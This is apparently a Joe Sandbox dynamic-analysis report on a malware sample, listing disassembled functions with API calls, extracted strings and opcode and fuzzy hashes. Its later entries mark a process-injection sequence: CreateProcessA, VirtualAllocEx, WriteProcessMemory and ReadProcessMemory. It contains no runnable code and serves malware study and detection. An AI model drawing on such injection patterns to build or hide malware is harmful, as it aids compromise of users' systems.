Associated: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 378823a915c619e234e02591c1b5be9f2000e7fac0b3a953e333f88bdaeccc55
Instruction ID: f7f24829b0529de3acd64ad561495d8e8474641607c128e66590ad654e87f3c3
Opcode Fuzzy Hash: 378823a915c619e234e02591c1b5be9f2000e7fac0b3a953e333f88bdaeccc55
Instruction Fuzzy Hash: E301A231A01301AADB307BB29D0AB9E3B649F01328F20413FF644B65E1DA7C89808B9C

Function 020F2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 020F26DB
_memset.LIBCMT ref: 020F2A30
_memset.LIBCMT ref: 020F2AC0

Strings

D, xrefs: 020F2AC8

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 98156a566aa3f39d03eecb4a001375c8eacec7168a6ba08bfec8809fc6ab68af
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 9FE17C71D4031AAFCF65DBA0CC89FEEBBB8BF04304F144069EA09A6590EB746A45DF54

Function 020ED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 020ED8EA

Strings

, xrefs: 020EDADB
(, xrefs: 020EDAE9
$, xrefs: 020EDAE2

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 90281e9381cabe7b5ed019a02de35713fa056846e3e1eca6773364a974088eb0
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: AC919A71D00218DEEF21DBA0C849BEEBBB9AF05304F244069D51677280DBB65A88DF65

Function 0212FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0212FBF1

Part of subcall function 0211169C: std::exception::_Copy_str.LIBCMT ref: 021116B5

__CxxThrowException@8.LIBCMT ref: 0212FC06

Strings

TeM, xrefs: 0212FBFE
TeM, xrefs: 0212FBE7, 0212FBFB

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 8ef8e620ff0a7e61796f66464bdc339f62ce80b5d763b7d430758be7db6e46ce
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: BED06775C4020CBBCB00EFA5D459CDDBBB9AA04344B00C466AA1897245EB74A349CFD4

Function 020ED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0210197D: __wfsopen.LIBCMT ref: 02101988

_fgetws.LIBCMT ref: 020ED15C

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 7ddd62825bffe571c86231e92d496c02170fd54723720db283da1a1dcb0a7bc1
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 3191A071D00319AFCF61DFA4CC847AEB7F9EF14304F140529E816A7280E775AA88DBA5

Function 020ED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 020ED77E
_malloc.LIBCMT ref: 020ED7B2
_malloc.LIBCMT ref: 020ED7C1
_fprintf.LIBCMT ref: 020ED815

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: e7ceb74d982d04cb0a1361ebb596c1f8aa8fb8069806a342a5dee391babc8383
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 7BA17EB1C40248EFEF11EFE4CC49BDEBB76AF15304F140028D50676291E7B65A88DBA6

Function 02102AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02102B2E
__read_nolock.LIBCMT ref: 02102BFE
__filbuf.LIBCMT ref: 02102C21
_memset.LIBCMT ref: 02102C65

Part of subcall function 02105BA8: __getptd_noexit.LIBCMT ref: 02105BA8

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 71a1206b469a687a6a6125c1eca604a22536c858a78366d46dca08fe4315bd08
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 1A518170A4030A9BDB398F7989C866EB7B6AF40324F148729FC35962D0D7F59955CB40

Function 02121359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0212137D

Part of subcall function 02121A9D: __fltout2.LIBCMT ref: 02121AC6

__cftog_l.LIBCMT ref: 021213A3
__cftoe_l.LIBCMT ref: 021213D5

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 561cf989c29b0dd5f3c47e71910ec3fba9a8cfd243ffe0d09fc1efdb635d1ec1
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: FB01783248015EBBCF169E84CE01CEE3F63BB18364B498414FA6C58832D332C5B6AB81

Function 021A7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 021A7A4B

Part of subcall function 021A8140: ___BuildCatchObjectHelper.LIBCMT ref: 021A8172
Part of subcall function 021A8140: ___AdjustPointer.LIBCMT ref: 021A8189

_UnwindNestedFrames.LIBCMT ref: 021A7A62
___FrameUnwindToState.LIBCMT ref: 021A7A74
CallCatchBlock.LIBCMT ref: 021A7A98

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: dfb9cf088a1005d1491e3b3d7eca1690ae915a63a0379ef1f4dab9aa42c963fa
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 5F01D736040109BFCF12AF55CC14EEE7BAAEF48754F198014F91965161D732EA62DFA0

Function 004A4BCC Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetFullPathNameA.KERNEL32(00000000,00000000,?,00000000), ref: 004A4C02
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004A4C1C
HeapDestroy.KERNEL32(00000000), ref: 004A4C38
CloseHandle.KERNEL32(00000000), ref: 004A4C3F

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: CloseDestroyEnvironmentFreeFullHandleHeapNamePathStrings
String ID:
API String ID: 3728440687-0
Opcode ID: 00a9834505464cf2729f54a6d646a669bc93123e0bb29e17edbe1a69c369bb39
Instruction ID: 6fee5c341abdc74afc32e8bb56ebb1a7f74908c956a49815e826c219f5def03a
Opcode Fuzzy Hash: 00a9834505464cf2729f54a6d646a669bc93123e0bb29e17edbe1a69c369bb39
Instruction Fuzzy Hash: AA018BB1105508AFDB10AB74EE8495F7BBCEBDE325B01057BF602D3151DA789D448B6C

Function 004040F8 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00404104

Part of subcall function 0040330E: __getptd_noexit.LIBCMT ref: 00403311
Part of subcall function 0040330E: __amsg_exit.LIBCMT ref: 0040331E

__getptd.LIBCMT ref: 0040411B
__amsg_exit.LIBCMT ref: 00404129
__lock.LIBCMT ref: 00404139

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 8e4ddab6a90b4917264dc88f4efb226a24b089a1c8f28879e587f6b8858ddada
Instruction ID: 809a297cf50b41ecf1d4b7bac088b0458a1c5db437d6f029eb5e37a96366ea0c
Opcode Fuzzy Hash: 8e4ddab6a90b4917264dc88f4efb226a24b089a1c8f28879e587f6b8858ddada
Instruction Fuzzy Hash: CDF0F6B1A017009BD730BB76880A71E37A0AB80715F10413FE554BB2C2CB7C99418A9E

Analysis Process: oOMgVil3z78TF92yUiI1jBjJ.exePID: 7876, Parent PID: 7556COMMON

Executed Functions

Function 01AFF2D8 Relevance: 49.3, Strings: 39, Instructions: 525
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 01AFFB6D
A, xrefs: 01AFFB29
?, xrefs: 01AFF8ED
t&A, xrefs: 01AFF669
1, xrefs: 01AFF5EF
A, xrefs: 01AFFA53
U, xrefs: 01AFF777
], xrefs: 01AFF8C3
,, xrefs: 01AFFA11
@, xrefs: 01AFFA1B
Z, xrefs: 01AFF478
,, xrefs: 01AFFAE5
&, xrefs: 01AFF899
D, xrefs: 01AFF7F5
a, xrefs: 01AFF6DF
dYMB, xrefs: 01AFFAC7
J, xrefs: 01AFFAD1
O, xrefs: 01AFF5F9
X, xrefs: 01AFFADB
(, xrefs: 01AFF7D5
0:'B, xrefs: 01AFF9DB
=, xrefs: 01AFF91B
], xrefs: 01AFF4F3
E, xrefs: 01AFF851
N, xrefs: 01AFF673
@, xrefs: 01AFF735
3, xrefs: 01AFF4EC
*, xrefs: 01AFF4DE
Q, xrefs: 01AFF564
b, xrefs: 01AFFA87
i!bB, xrefs: 01AFF437
%, xrefs: 01AFF56B
G, xrefs: 01AFF575
[, xrefs: 01AFFB1F
X, xrefs: 01AFF73F
%, xrefs: 01AFF55D
0, xrefs: 01AFF50D
H, xrefs: 01AFF589
Y, xrefs: 01AFFB43

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: %$%$&$($*$,$,$0$0:'B$1$3$=$?$@$@$A$A$D$E$G$H$J$N$O$Q$U$V$X$X$Y$Z$[$]$]$a$b$dYMB$i!bB$t&A
API String ID: 0-1503603209
Opcode ID: 068390b46e9ce91d5aad3f69356a7af5d01a5027cc5372b51ebd992ccc5f6c34
Instruction ID: b21d464b970a8b30c984baa8715107fc6f8761780dfd8e4b1762c3bc5ab80c0e
Opcode Fuzzy Hash: 068390b46e9ce91d5aad3f69356a7af5d01a5027cc5372b51ebd992ccc5f6c34
Instruction Fuzzy Hash: F6628DB4D016298FEB65DF2AD984799BBF6FB88300F1081EAD41CA7350DB795E858F10

Function 05EB93F0 Relevance: 7.7, Strings: 4, Instructions: 2714COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05EBA263
4'^q, xrefs: 05EBB2D1
(o^q, xrefs: 05EB94D6
4'^q, xrefs: 05EBA3EB

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: cf029457140be7c5bee34a5e9c6b3120b8cb084101c3c28e86d5a3f2401654c4
Instruction ID: cfafabc492997960fb743f290aa6cddc5a2c3dae310fec19a264bafd52fa9573
Opcode Fuzzy Hash: cf029457140be7c5bee34a5e9c6b3120b8cb084101c3c28e86d5a3f2401654c4
Instruction Fuzzy Hash: 54530774A002198FEB25CF28C888AEEB7B6BF48301F1595D9D549AB361DB71ED81CF50

Function 05EB8518 Relevance: 7.0, Strings: 5, Instructions: 723COMMON

Download Yara Rule

Strings

,bq, xrefs: 05EB8B3F
(o^q, xrefs: 05EB8DAB
Hbq, xrefs: 05EB8E18
,bq, xrefs: 05EB8B2F
(o^q, xrefs: 05EB8DA1

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-3486158592
Opcode ID: ff414378cf22c2642e327e7aa22184ad141a1213743bc00a97f59cfd742f0a02
Instruction ID: e2c980d5dcb755dd7702b5b035c903cd27f52d444192525cb191a7473730a1d8
Opcode Fuzzy Hash: ff414378cf22c2642e327e7aa22184ad141a1213743bc00a97f59cfd742f0a02
Instruction Fuzzy Hash: E752D274B041159FEB08DF68C484AAE7BFAFF98316B159169E846EB360CB70DC41CB90

Function 05EB5851 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

, xrefs: 05EB5985

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 037bc5ae4b90f4ff6dd41e2b5a71b1c5abfc636839835f158f1ccdf259e32a7d
Instruction ID: 9806cd332d96cd7df54b22ce84d8f81f0f238a7a83e0add56b7a080b1b2ca14d
Opcode Fuzzy Hash: 037bc5ae4b90f4ff6dd41e2b5a71b1c5abfc636839835f158f1ccdf259e32a7d
Instruction Fuzzy Hash: A712CF74E00218CFEB14CFA9C984AEEBBF2FF88315F1491AAD449A7255E7749985CF10

Function 05EBF6A9 Relevance: 6.6, Strings: 5, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 05EBF809
,bq, xrefs: 05EBF7CF
(o^q, xrefs: 05EBF7FD
Hbq, xrefs: 05EBFA77
,bq, xrefs: 05EBF7DB

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-3486158592
Opcode ID: 77b47a1d85f6c525e2b2d2319735142bd25ec8855092b777e6ebbc3ebf5dcc14
Instruction ID: ea42230926b307c5189dbb7b6a066e98d801df4f318772208707cdfb3c23a8bf
Opcode Fuzzy Hash: 77b47a1d85f6c525e2b2d2319735142bd25ec8855092b777e6ebbc3ebf5dcc14
Instruction Fuzzy Hash: 2BC18C35B002189FEB15DF78D854AAE7BF6BF88302F1090A8E556A73A4DB30DC41CB91

Function 01AF2F70 Relevance: 3.9, Strings: 3, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|, xrefs: 01AF2F96
R, xrefs: 01AF323D
], xrefs: 01AF2FCF

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: R$]$|
API String ID: 0-1738420877
Opcode ID: 00a56dbfe6b84ad8839769fcc56e6edffe95ab4cdb1f8fb667cd3bc8e5cfe397
Instruction ID: 8a448d4d6aef1ebcb082a508ae2f8645ea938496b944f280501efcc6721baaa5
Opcode Fuzzy Hash: 00a56dbfe6b84ad8839769fcc56e6edffe95ab4cdb1f8fb667cd3bc8e5cfe397
Instruction Fuzzy Hash: 82718778D052298FEBA5DF28D958B99BBB1FB49305F1041EAD84DA3294DB315EC0CF81

Function 05EB6FBE Relevance: 3.8, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D,A, xrefs: 05EB7077
7, xrefs: 05EB70B7
1, xrefs: 05EB7081

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: 1$7$D,A
API String ID: 0-3669527125
Opcode ID: 82006594a38a1309a548131f974c71a229dca826a8fdf05ec53ae60070ff4605
Instruction ID: 2b2493fe7758af3bc46a23bda6c3ec04e4d2413fc6e965bc59a142ea257954f5
Opcode Fuzzy Hash: 82006594a38a1309a548131f974c71a229dca826a8fdf05ec53ae60070ff4605
Instruction Fuzzy Hash: E75190B0D0026A8FDB66CF28C9947DABBB5FB48345F0051EAE449A7240DB759EC0CF40

Function 05EBE588 Relevance: 3.0, Strings: 2, Instructions: 489COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05EBE7FE
d8cq, xrefs: 05EBE5E0

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: Hbq$d8cq
API String ID: 0-70480990
Opcode ID: ffc53b2c417c0db75de8066ae0b38c734f678892869485a1773f8a227cabe44d
Instruction ID: f9af6f415a180b1107f506d7e8a4cfd9ab8eac46f5ea67ccb2f1658b14084bb3
Opcode Fuzzy Hash: ffc53b2c417c0db75de8066ae0b38c734f678892869485a1773f8a227cabe44d
Instruction Fuzzy Hash: 731262746103149FDB069B6CE468B663BA3FB88706F10486CED0947BA5CF7EAC81DB51

Function 05D0C6A4 Relevance: 1.8, APIs: 1, Instructions: 326processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05D0C977

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 945f46c408113065e316098a710056e76d4b520a983727a25d3baffc47e87e57
Instruction ID: d8e5ac4436a82e5ecd8b019b22c401bc045f2fb3ef8f24eb0cdc1ae6463df3ee
Opcode Fuzzy Hash: 945f46c408113065e316098a710056e76d4b520a983727a25d3baffc47e87e57
Instruction Fuzzy Hash: AFC11671D102298FDB24CFA8C841BEDBBB1BF49310F0096AAD449B7290DB749A85CF95

Function 05D0C6B0 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05D0C977

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 622ff365ea1f83c9dbe448df627c7ebb2fec5931802dd10221fc299e32c2d320
Instruction ID: 793bc5f6170a8fb591cae6a8aeb2dae90d05a46cf7a341ee4e155315b59eecfc
Opcode Fuzzy Hash: 622ff365ea1f83c9dbe448df627c7ebb2fec5931802dd10221fc299e32c2d320
Instruction Fuzzy Hash: 22C10671D102298FDB24CFA8C841BEDBBB1BF49314F0096AAD449B7290DB749E85CF95

Function 05D0C320 Relevance: 1.6, APIs: 1, Instructions: 120injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05D0C3FB

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 84d4d306ab436f357c0114428b47c93408460acbe1a844898c1e8458a247f405
Instruction ID: 6e84b0d8288d7ca770baca760d38de5a7d107343f31fbf0470889c34a2e46873
Opcode Fuzzy Hash: 84d4d306ab436f357c0114428b47c93408460acbe1a844898c1e8458a247f405
Instruction Fuzzy Hash: 9141CBB5D002589FCB00CFA9C984AEEFBF1BB49310F14902AE819B7250C334AA45CF64

Function 05D0C328 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05D0C3FB

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 723b5dd75a35cdb42824b6dcfaa59d94e084587dd3788846f086770bc97f7129
Instruction ID: 66a8d52cdb9158dd0c9fbfb5ec9405963a7dd10d140a13952fefe1fba14693f6
Opcode Fuzzy Hash: 723b5dd75a35cdb42824b6dcfaa59d94e084587dd3788846f086770bc97f7129
Instruction Fuzzy Hash: 504199B5D012589FCF00CFA9D984AEEFBF1BB49310F24942AE819B7250D735AA45CF64

Function 05D0C479 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05D0C532

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 882093798b13c68d188f5061f0456b5dc1788ad7ada50ea6b94c35b74b6340c5
Instruction ID: ba835ff7d40b3456cb492367d8f1f7669a4587b6a4fdbc27e062fb355fc0c19a
Opcode Fuzzy Hash: 882093798b13c68d188f5061f0456b5dc1788ad7ada50ea6b94c35b74b6340c5
Instruction Fuzzy Hash: DC41AAB9D04258DFCF10CFAAD884AEEFBB1BB49310F14A42AE815B7250D735A945CF64

Function 05D0C480 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05D0C532

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1e521a7a3dfc509bdc74a291cee20b601474d0757b08c22f6f9fdf78151d1929
Instruction ID: d79fb8dcee334541ab1ef0d7614b030aa39a9c94441e50cce877f81a368a5ae6
Opcode Fuzzy Hash: 1e521a7a3dfc509bdc74a291cee20b601474d0757b08c22f6f9fdf78151d1929
Instruction Fuzzy Hash: AC419BB9D04258DFCF10CFAAD884AEEFBB1BB49310F14A42AE815B7250D735A945CF64

Function 05D0C200 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05D0C2B2

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
